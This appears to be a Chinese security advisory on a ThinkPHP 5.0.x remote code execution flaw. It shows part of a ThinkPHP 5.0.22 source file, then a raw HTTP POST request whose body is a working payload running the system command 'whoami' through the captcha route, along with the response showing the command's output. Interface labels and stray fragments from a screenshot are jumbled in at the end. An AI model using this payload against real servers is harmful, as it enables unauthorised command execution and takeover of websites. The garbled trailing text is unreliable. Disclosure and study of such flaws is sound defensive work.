

**ThinkPHP5.0.x 远程代码执行漏洞
安全威胁通告**

```
1 <?php
2 // -----
3 // | ThinkPHP [ WE CAN DO IT JUST THINK ]
4 // -----
5 // | Copyright (c) 2006-2018 http://thinkphp.cn All rights reserved.
6 // -----
7 // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
8 // -----
9 // | Author: liu21st <liu21st@gmail.com>
10 // -----
11
12 define('THINK_VERSION', '5.0.22');
13
14 if (is_callable('microtime')) {
15     define('THINK_START_TIME', microtime(true));
16     define('THINK_START_MEM', memory_get_usage());
17 }
18
19 define('DS', DIRECTORY_SEPARATOR);
20
21 defined('THINK_PATH') or define('THINK_PATH', __DIR__ . DS);
22 defined('THINK_APP_PATH') or define('THINK_APP_PATH', THINK_PATH . DS);
23 defined('LIB_PATH') or define('LIB_PATH', THINK_PATH . DS);
24 defined('EXT_PATH') or define('EXT_PATH', THINK_PATH . DS);
25 defined('APP_PATH') or define('APP_PATH', dirname($_SERVER['SCRIPT_NAME']) . DS);
26 defined('ROOT_PATH') or define('ROOT_PATH', dirname(realpath(APP_PATH)) . DS);
27 defined('EXTEND_PATH') or define('EXTEND_PATH', ROOT_PATH . DS);
28 defined('CONF_PATH') or define('CONF_PATH', ROOT_PATH . DS);
29 defined('CACHE_PATH') or define('CACHE_PATH', ROOT_PATH . DS);
30 defined('LOG_PATH') or define('LOG_PATH', ROOT_PATH . DS);
31 defined('TEMP_PATH') or define('TEMP_PATH', ROOT_PATH . DS);
32 defined('CONF_FILE') or define('CONF_FILE', APP_PATH . 'config.php');
33 defined('EXT_FILE') or define('EXT_FILE', EXT_PATH . 'extension.php');
34 defined('CONF_EXT') or define('CONF_EXT', '.php');
```

Request

Raw Params Headers Hex

```
POST /public/index.php?s=captcha HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101
Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: pgv_pvi=1563810960; pgv_si=s6589759488
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
```

Response

Raw Headers Hex HTML Render

```
ms\user
ThinkPHP\5.0.22 ( 00000000-00P1000000000000000000000000 )
```

Load URL

Split URL

Execute

Post data Referrer

Post data

user

msi\

面错误! 请稍后再试~

页

<PHP V5.0.22 { 十年磨一剑-为API开发设计的高性能框架 }

Thin



